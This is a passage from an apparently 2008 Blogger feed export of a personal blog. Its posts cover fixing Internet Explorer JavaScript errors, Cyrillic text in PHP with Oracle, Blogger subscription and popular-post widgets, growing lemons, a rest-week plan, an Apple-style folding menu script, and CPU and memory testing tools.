/&gt;&lt;br /&gt;Expected identifier, string or number&lt;br /&gt;array: var img= {width:100, height:100,}&lt;br /&gt;Firefox runs without errors, IE - gives error.&lt;br /&gt;&lt;br /&gt;Solution(remove the comma at the end, otherwise it actually instructs the interpreter to expect next element.):&lt;br /&gt;var img= {width:100, height:100}&lt;br /&gt;&lt;br /&gt;object Expected when working with previousSibling and nextSibling&lt;br /&gt;var prev=el.nextSibling;&lt;br /&gt;again Firefox goest without errors, in difference with Internet Explorer&lt;br /&gt;&lt;br /&gt;Solution: always check whether the element exists or not:&lt;br /&gt;if (el.nextSibling) {&lt;br /&gt;//use the element&lt;br /&gt;var prev=el.nextSibling;&lt;br /&gt;}&lt;br /&gt;...&lt;br /&gt;Initial element check:&lt;br /&gt;var el = document.getElementById("el_id");&lt;br /&gt;if(el) {&lt;br /&gt;//use the element&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;You can also try the free online JavaScript checker JSLint.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-7876626611341755398?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/7876626611341755398/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=7876626611341755398' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/7876626611341755398'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/7876626611341755398'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/12/how-i-easily-increased-my-website.html' title='How I easily increased my website visitors by 30%'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-4448242655506125931</id><published>2008-12-15T06:15:00.000-08:00</published><updated>2008-12-15T06:31:34.875-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='do it yourself'/><title type='text'>PHP &amp; Oracle Cyrillic howto</title><content type='html'>Here is how to display and work with actual Cyrillic characters instead of unrecognised '???'&lt;br /&gt;The following examples are suitable for fetching data between php and oracle.&lt;br /&gt;&lt;br /&gt;How?&lt;br /&gt;Just set the proper internal Cyrillic charset in the oci_connect function&lt;br /&gt;example:&lt;br /&gt;&lt;blockquote&gt;oci_connect('username', 'password', '',"&lt;span style="font-weight: bold;"&gt;BG8MSWIN&lt;/span&gt;");&lt;/blockquote&gt;List of Oracle's internal charsets you can see here:&lt;br /&gt;http://www.daylight.com/meetings/emug04/Delany/charsets.html&lt;br /&gt;&lt;br /&gt;Optional:&lt;br /&gt;Once you've got Cyrillic symbols and not only ???(question marks) you can detect the encoding of a given string using:&lt;br /&gt;&lt;blockquote&gt;echo mb_detect_encoding($string);&lt;/blockquote&gt;and then convert it via:&lt;br /&gt;&lt;br /&gt;$string = iconv('utf-8','windows-1251', $string);&lt;br /&gt;&lt;br /&gt;That's it! I hope the information helps you!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-4448242655506125931?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/4448242655506125931/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=4448242655506125931' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/4448242655506125931'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/4448242655506125931'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/12/php-oracle-cyrillic-howto.html' title='PHP &amp; Oracle Cyrillic howto'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-1514400166457150438</id><published>2008-11-21T00:16:00.000-08:00</published><updated>2010-01-24T01:03:04.008-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webdesign'/><category scheme='http://www.blogger.com/atom/ns#' term='do it yourself'/><title type='text'>Category feed subscription script for Blogger</title><content type='html'>&lt;img alt="rss blogger" border="0" src="http://4.bp.blogspot.com/_nXiUn_G4NDk/SSZ3_Nsv5UI/AAAAAAAAAUc/G3nHM3sViwU/s400/rss_icon.jpg" style="float: right; height: 272px; width: 300px;" /&gt;&lt;br /&gt;When I first started writing my blog I managed to put a feed. Not long after I was happy that visitors actually subscribed to my posts. Later the feed statistics showed old subscribers withdrawal, substituted by new fresh subscriptions. This way the overall subscribers count stayed the same and that was a problem.&lt;br /&gt;&lt;br /&gt;Since then this has been a mystery to me until I thought more on the subject: The posts were ranging from computers to garden, aquarium fish, fitness etc... - all unrelated - so that might be the reason behind user's opt out - the next post was not always of their interest.&lt;br /&gt;&lt;br /&gt;That's why I've implemented this handy script that you can place at the bottom of your posts to encourage user's subscription to a specific feed category. It is based on your &lt;span style="font-weight: bold;"&gt;post labels&lt;/span&gt; - so if you've already labeled your posts then feed subscription links will show automatically.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Demo:&lt;/span&gt; You can see it working at the bottom of this post.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Installation:&lt;/span&gt;&lt;br /&gt;1. Open your Blogger HTML template&lt;br /&gt;2. Check Expand Widget Templates&lt;br /&gt;3. Replace 'your_blog_address.com' with your actual blog address and paste the following code below your &amp;lt;data:post.title&amp;gt; tag:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&amp;lt;b:if cond='data:post.labels'&amp;gt;&lt;br /&gt;&amp;lt;div style='background:orange; padding:1em;'&amp;gt;&lt;br /&gt;Free subscription to new articles from category:&lt;br /&gt;&amp;lt;b:loop values='data:post.labels' var='label'&amp;gt;&lt;br /&gt;&amp;lt;a expr:href='"http://your_blog_address.com/feeds/posts/default/-/" + data:label.name + "?alt=rss"' rel='nofollow' style='color:brown;'&amp;gt; &amp;lt;data:label.name/&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;b:if cond='data:label.isLast != "true"'&amp;gt;,&amp;lt;/b:if&amp;gt;&lt;br /&gt;&amp;lt;/b:loop&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;/b:if&amp;gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;span style="font-weight: bold;"&gt;How to track feed conversion rate&lt;/span&gt;&lt;br /&gt;If you wish to track your feed subscriptions just use Google Analytics to create a &lt;span style="font-weight: bold;"&gt;Goal&lt;/span&gt;.&lt;br /&gt;Fill in:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Goal URL: http://your_website.com/feed&lt;br /&gt;Goal name: Feed label subscription&lt;br /&gt;&lt;/blockquote&gt;Then edit the subscription link and add the following tracking JavaScript code&lt;br /&gt;&lt;blockquote&gt;onclick='javascript:urchinTracker("/feed")' &lt;br /&gt;&lt;/blockquote&gt;example:&lt;br /&gt;&lt;br /&gt;&amp;lt;a onclick='javascript:urchinTracker("/feed")' href="http://yourwebsite.com/feeds/posts/default/-/your_label?alt=rss"&amp;gt;Feed label subscription&amp;lt;/a&amp;gt;&lt;br /&gt;&lt;br /&gt;That's it. When a visitor subscribes you will see it from the Goals report as accomplished goal. Even more interesting is the &lt;span style="font-weight: bold;"&gt;Reverse Goal Path&lt;/span&gt; report that will show you the actual navigation and pages from which visitor's subscribed.&lt;br /&gt;&lt;br /&gt;bonus:&lt;br /&gt;&lt;b&gt;Most popular articles script based on comments count&lt;/b&gt;&lt;br /&gt;&lt;blockquote&gt;&amp;lt;script type="text/javascript"&amp;gt;&lt;br /&gt;function pipeCallback(obj) {&lt;br /&gt;document.write('&amp;lt;ul style="text-transform: capitalize;"&amp;gt;&amp;lt;li&amp;gt;&amp;lt;strong&amp;gt;Popular Posts:&amp;lt;/strong&amp;gt;&amp;lt;/li&amp;gt;');&lt;br /&gt;var i;&lt;br /&gt;for (i = 0; i &amp;lt; obj.count ; i++)&lt;br /&gt;{&lt;br /&gt;var href = "'" + obj.value.items[i].link + "'";&lt;br /&gt;var item = "&amp;lt;li&amp;gt;" + "&amp;lt;a href=" + href + "&amp;gt;" + obj.value.items[i].title + "&amp;lt;/a&amp;gt; &amp;lt;/li&amp;gt;";&lt;br /&gt;document.write(item);&lt;br /&gt;}&lt;br /&gt;document.write('&amp;lt;/ul&amp;gt;');&lt;br /&gt;}&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;script src="http://pipes.yahoo.com/pipes/pipe.run?_render=json&amp;amp;_callback=pipeCallback&amp;amp;_id=28a6afad7c6ba1288c1b738277e42385&amp;amp;url=http%3A%2F%2Fyour_blog_name.blogspot.com&amp;amp;num=10" type="text/javascript"&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/blockquote&gt;just replace the parameter your_blog_name, create a new HTML/Javascript widget from the Blogger layout the paste the code there.&lt;br /&gt;Cheers!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-1514400166457150438?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/1514400166457150438/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=1514400166457150438' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/1514400166457150438'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/1514400166457150438'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/11/category-feed-subscription-script-for.html' title='Category feed subscription script for Blogger'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_nXiUn_G4NDk/SSZ3_Nsv5UI/AAAAAAAAAUc/G3nHM3sViwU/s72-c/rss_icon.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-9122015709187048577</id><published>2008-11-20T00:17:00.000-08:00</published><updated>2008-11-20T00:24:33.721-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='fitness'/><title type='text'>Take a rest</title><content type='html'>&lt;small class="metadata"&gt;&lt;span class="chronodata"&gt; &lt;/span&gt; &lt;/small&gt;   &lt;div class="itemtext"&gt; &lt;p&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left;" src="http://farm1.static.flickr.com/56/118848159_73a2a28488.jpg?v=0" alt="" border="0" /&gt;Now finished with my job I am free to take an active rest for a week. Here is my plan:&lt;br /&gt;&lt;br /&gt;It's the season of late fall and man must eat lots of natural supplements to boost his health so I'll try out with these:&lt;br /&gt;&lt;br /&gt;fish oil - EFA(essential fatty acids) for the brain and eyes&lt;br /&gt;lemon juice - to restore the electrolyte balance&lt;br /&gt;olive oil - rich in EFA: omega 3:omega:6 ratio is 1:1&lt;br /&gt;yoghurt - for the beneficial stomach bacteria&lt;br /&gt;spirulina, pumpkin, carrot juice or beta carotene capsules for the eyes&lt;br /&gt;2 litters of water daily&lt;br /&gt;&lt;br /&gt;Most importantly I'll try to limit my time in front the computer downto 2 checks of the email - morning and evening. Instead I'll strengthen my social contacts.&lt;br /&gt;&lt;br /&gt;Cheers and relax!&lt;br /&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left;" src="http://farm2.static.flickr.com/1022/1118189052_a555235fd3.jpg?v=0" alt="" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left;" src="http://farm2.static.flickr.com/1075/1470761899_8161a25b65.jpg?v=0" alt="" border="0" /&gt;&lt;br /&gt;(images courtesy of Flickr!)&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-9122015709187048577?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/9122015709187048577/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=9122015709187048577' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/9122015709187048577'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/9122015709187048577'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/11/take-rest.html' title='Take a rest'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-7253738940470136057</id><published>2008-11-20T00:11:00.000-08:00</published><updated>2008-11-20T03:51:42.011-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='garden'/><title type='text'>Growing lemons at home</title><content type='html'>&lt;small class="metadata"&gt;&lt;span class="chronodata"&gt; &lt;/span&gt; &lt;/small&gt;   &lt;div class="itemtext"&gt; &lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_nXiUn_G4NDk/Rygm5aEVA7I/AAAAAAAAAI4/FawJnrOglFc/s1600-h/lemon_middle.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://bp0.blogger.com/_nXiUn_G4NDk/Rygm5aEVA7I/AAAAAAAAAI4/FawJnrOglFc/s400/lemon_middle.jpg" alt="photo of one middle sized lemon" id="BLOGGER_PHOTO_ID_5127390943453184946" border="0" /&gt;&lt;/a&gt;After several attempts I've succeeded to grow my own lemon tree from a seed. Here is how I've made it:&lt;br /&gt;&lt;br /&gt;1. Take the seeds out of a big &amp;amp; ripe lemon.&lt;br /&gt;&lt;br /&gt;2. Plant them 1-2cm. deep.&lt;br /&gt;&lt;br /&gt;3. Wait 2-3weeks and new cuttings will begin to appear.&lt;br /&gt;&lt;br /&gt;4. Give them plenty of water, and don't let the top soil to dry.&lt;br /&gt;&lt;br /&gt;5. The outside temperature must be around 22C.&lt;br /&gt;&lt;br /&gt;Enjoy your new lemon tree!&lt;br /&gt;Cheers!&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_nXiUn_G4NDk/Rygm5KEVA6I/AAAAAAAAAIw/YDnC0wLPRbM/s1600-h/small_lemon.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: none; cursor: pointer;" src="http://bp3.blogger.com/_nXiUn_G4NDk/Rygm5KEVA6I/AAAAAAAAAIw/YDnC0wLPRbM/s400/small_lemon.jpg" alt="photo of my small lemon" id="BLOGGER_PHOTO_ID_5127390939158217634" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Here is my smallest one.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_nXiUn_G4NDk/Rygm5aEVA8I/AAAAAAAAAJA/dCemacSoPoc/s1600-h/lemon_big.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: none; cursor: pointer;" src="http://bp0.blogger.com/_nXiUn_G4NDk/Rygm5aEVA8I/AAAAAAAAAJA/dCemacSoPoc/s400/lemon_big.jpg" alt="My oldest lemon tree" id="BLOGGER_PHOTO_ID_5127390943453184962" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;And my 3-years old lemon tree.&lt;/p&gt;&lt;p&gt;If you want to be successful and grow your own lemons there are some simple rules that you could follow:&lt;/p&gt;&lt;p&gt;Lemon tree loves shades and dislikes dry soils. Room light is usually sufficient for its growth, but for faster results during the winter season you can think of adding artificial lighting. Providing temperature between 15 and 20C will make your plant grow vigorously during the whole year.&lt;/p&gt;&lt;p&gt;Plant leaves are important to the tree and last between 2 to 3 years. If you're experiencing a leaf-fall please check for over watering, insufficient light or freezing. The lemon tree blooms 2-3 times per year, and its fruits ripe for about 10-12 months.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Don't over water the plant and provide water only when the soil dries. If you notice faded leaves then you must increase the watering.  Between March and November it's good to add the following supplements to the soil:&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;Every 10 days&lt;/span&gt;: dissolved in 1ltr. of water 1tbsp. of ammonium nitrate + 1/2tbsp. of potassium.&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Every 2 weeks&lt;/span&gt; give a combination of already fermented compost(1part) and 10parts of water. &lt;span style="font-weight: bold;"&gt;Once per month&lt;/span&gt; give the plant the combination from above supplements.&lt;/p&gt;&lt;p&gt;Good Luck!&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-7253738940470136057?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/7253738940470136057/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=7253738940470136057' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/7253738940470136057'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/7253738940470136057'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/11/growing-lemons-at-home.html' title='Growing lemons at home'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_nXiUn_G4NDk/Rygm5aEVA7I/AAAAAAAAAI4/FawJnrOglFc/s72-c/lemon_middle.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-649406867913725473</id><published>2008-11-13T04:04:00.000-08:00</published><updated>2011-01-06T13:13:17.905-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='scripts'/><title type='text'>Apple style JavaScript folding menu</title><content type='html'>Here is a my full working version of the sliding vertical menu that you may use on your website. It resembles the functionality of the beautiful right menu from Apple's website. Demo version of the script you can see on this website: http://newiaqua.royalsbg.com&lt;br /&gt;&lt;br /&gt;The code is using some pre-made unobtrusive javascript functions like jscss() thanks to http://www.onlinetools.org/. The menu also degrades gracefully on non-supporting JavaScript browsers.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;JavaScript Code:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: jscript"&gt;function jscss(a,o,c1,c2)&lt;br /&gt;{&lt;br /&gt;switch (a){&lt;br /&gt;case 'swap':&lt;br /&gt;o.className=!jscss('check',o,c1)?o.className.replace(c2,c1): o.className.replace(c1,c2);&lt;br /&gt;break;&lt;br /&gt;case 'add':&lt;br /&gt;if(!jscss('check',o,c1)){o.className+=o.className?' '+c1:c1;}&lt;br /&gt;break;&lt;br /&gt;case 'remove':&lt;br /&gt;var rep=o.className.match(' '+c1)?' '+c1:c1; o.className=o.className.replace(rep,'');&lt;br /&gt;break;&lt;br /&gt;case 'check':&lt;br /&gt;return new RegExp('\\b'+c1+'\\b').test(o.className)&lt;br /&gt;break;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;function close(cl) { &lt;br /&gt;var re = new RegExp("(^| )" + cl + "( |$)");&lt;br /&gt;var el = document.all ? document.all : document.getElementsByTagName("body")[0].getElementsByTagName("*"); // fix for IE5.x&lt;br /&gt;for (var i = 0; i &amp;lt; el.length; i++) {&lt;br /&gt;&lt;br /&gt;if (el[i].className &amp;amp;&amp;amp; el[i].className.match(re)) {&lt;br /&gt;if (el[i].nextSibling)  {&lt;br /&gt;var tohide=el[i].nextSibling;  while(tohide.nodeType!=1)  {  tohide=tohide.nextSibling; }&lt;br /&gt;el[i].tohide=tohide; //store the inner div&lt;br /&gt;//close the opened content&lt;br /&gt;jscss('swap',el[i].tohide,'open','close');&lt;br /&gt;}&lt;br /&gt;//remove state open from title&lt;br /&gt;jscss('remove',el[i],'open');&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function init(cl) {&lt;br /&gt;var re = new RegExp("(^| )" + cl + "( |$)");&lt;br /&gt;var el = document.all ? document.all : document.getElementsByTagName("body")[0].getElementsByTagName("*"); // fix for IE5.x&lt;br /&gt;for (var i = 0; i &amp;lt; el.length; i++) {&lt;br /&gt;if (el[i].className &amp;amp;&amp;amp; el[i].className.match(re)) {&lt;br /&gt;&lt;br /&gt;//find the next div&lt;br /&gt;var tohide=el[i].nextSibling; while(tohide.nodeType!=1)  {  tohide=tohide.nextSibling; }&lt;br /&gt;el[i].tohide=tohide; //store the inner div&lt;br /&gt;&lt;br /&gt;//hide all closed content divs&lt;br /&gt;if(!jscss('check',el[i],'open')) { jscss('add',el[i].tohide,'close'); }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;el[i].onmouseover = function () {&lt;br /&gt;&lt;br /&gt;//find the content div&lt;br /&gt;var tohide=this.nextSibling; while(tohide.nodeType!=1)  {  tohide=tohide.nextSibling; }&lt;br /&gt;this.tohide=tohide; //store the inner div&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;if (jscss('check',this.tohide,'close')) {&lt;br /&gt;&lt;br /&gt;close("open");&lt;br /&gt;&lt;br /&gt;//set title to open&lt;br /&gt;jscss('add',this,'open');&lt;br /&gt;&lt;br /&gt;//open the content&lt;br /&gt;jscss('swap',this.tohide,'close', 'open');&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;function myUnobtrusiveBehavior {&lt;br /&gt;if (document.getElementsByTagName) {init("menu_title");}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if (document.getElementById) {&lt;br /&gt;window.onload = myUnobtrusiveBehavior;&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;CSS Code:&lt;/span&gt;&lt;br /&gt;&lt;pre class="brush: css"&gt;.menu_title{ padding:1em; font-size:1.3em; border-bottom:1px #999999 solid;&lt;br /&gt;line-height:1.3846em; text-align:center; cursor:pointer; cursor:hand; background:#cccccc; color:#333333;}&lt;br /&gt;.menu_title.open{  background:#FFE2D7; background:#9ba3b5; color:white; }&lt;br /&gt;.menu_content{height:300px; font-size:1.3em; line-height:1.3846em;  padding:1.8em; border-left:1px #D6D6E5 solid;border-right:1px #D6D6E5 solid; border-bottom:1px #D6D6E5 solid;}&lt;br /&gt;.open{display:block;}&lt;br /&gt;.close{display:none;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Installation&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;1. Include the above 2 files into a HTML file.&lt;br /&gt;2. Use the script via this simple structured HTML file:&lt;br /&gt;&lt;pre class="brush: html"&gt;&amp;lt;div id="menu_title open"&amp;gt;Menu title 1&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div id="menu_content open"&amp;gt;Menu content 1&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div id="menu_title"&amp;gt;Menu title 2&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div id="menu_content"&amp;gt;Menu content 2&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div id="menu_title"&amp;gt;Menu title 3&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div id="menu_content"&amp;gt;Menu content 3&amp;lt;/div&amp;gt;&lt;/pre&gt;3. If you want a menu item to be opened by default just set add "open" to its class name.&lt;br /&gt;&lt;br /&gt;Enjoy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-649406867913725473?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/649406867913725473/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=649406867913725473' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/649406867913725473'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/649406867913725473'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2008/11/apple-style-javascript-folding-menu.html' title='Apple style JavaScript folding menu'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-7544994913415976601</id><published>2008-11-02T22:55:00.000-08:00</published><updated>2008-11-02T23:17:27.532-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><category scheme='http://www.blogger.com/atom/ns#' term='do it yourself'/><title type='text'>How do you test your PC?</title><content type='html'>It's always good to know that your computer is stable. Here I'll show you a few reliable programs for CPU and memory testing.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;How to test the CPU&lt;/span&gt;&lt;br /&gt;I've been using IntelBurnTest which includes Intel libraries used exclusively for CPU testing prior its market release. IntelBurnTest software is compatible with AMD processors and tests faster than Prime95. Just make sure that your testing sytem is equipped with a proper cooling.&lt;br /&gt;&lt;br /&gt;Hints:&lt;br /&gt;Prior testing please download and run Realtemp - this way you can watch in realtime the temperature - and make sure it's below 70°C.&lt;br /&gt;Prime counts determines the memory size used in the test.&lt;br /&gt;Residual values must be equal or less e^-09 i.e. e^-10, e^-11, and so on.&lt;br /&gt;Residual Normalised should be between e^-02 and e^-04. (from 0.01 to 0.0001)&lt;br /&gt;Numbers outside these ranges indicate that you experience memory or CPU errors.&lt;br /&gt;Try at least 10 or 20 passes.&lt;br /&gt;When having more than 2 GB RAM running on the 32-bit version of Windows please test on a 64 bit version in order to allocate the whole memory.&lt;br /&gt;Linux users could use: &lt;a href="http://www.netlib.org/benchmark/hpl/" rel="nofollow" target="_blank"&gt;http://www.netlib.org/benchmark/hpl/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lakesidepc.com/burntest_.jpg" alt="" /&gt;&lt;br /&gt;Here are the 32 bit&lt;br /&gt;&lt;a href="http://www.ultimate-filez.com/files/IntelBurnTest.zip" rel="nofollow" target="_blank"&gt;http://www.ultimate-filez.com/files/IntelBurnTest.zip&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;and the 64 bit version&lt;br /&gt;&lt;a href="http://www.ultimate-filez.com/files/IntelBurnTest-x64.zip" rel="nofollow" target="_blank"&gt;http://www.ultimate-filez.com/files/IntelBurnTest-x64.zip&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;you may also try:&lt;br /&gt;&lt;a href="http://systester.sourceforge.net/downloads.html" rel="nofollow" target="_blank"&gt;http://systester.sourceforge.net/downloads.html&lt;/a&gt;&lt;br /&gt;and CPU Stability Test&lt;br /&gt;&lt;br /&gt;Memory testing&lt;br /&gt;I've been using: memtest86+&lt;br /&gt;&lt;img src="http://users.bigpond.net.au/hermanzone/p15/fig3grub.gif" alt="" /&gt;&lt;br /&gt;&lt;a href="http://www.memtest.org/" rel="nofollow" target="_blank"&gt;http://www.memtest.org/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 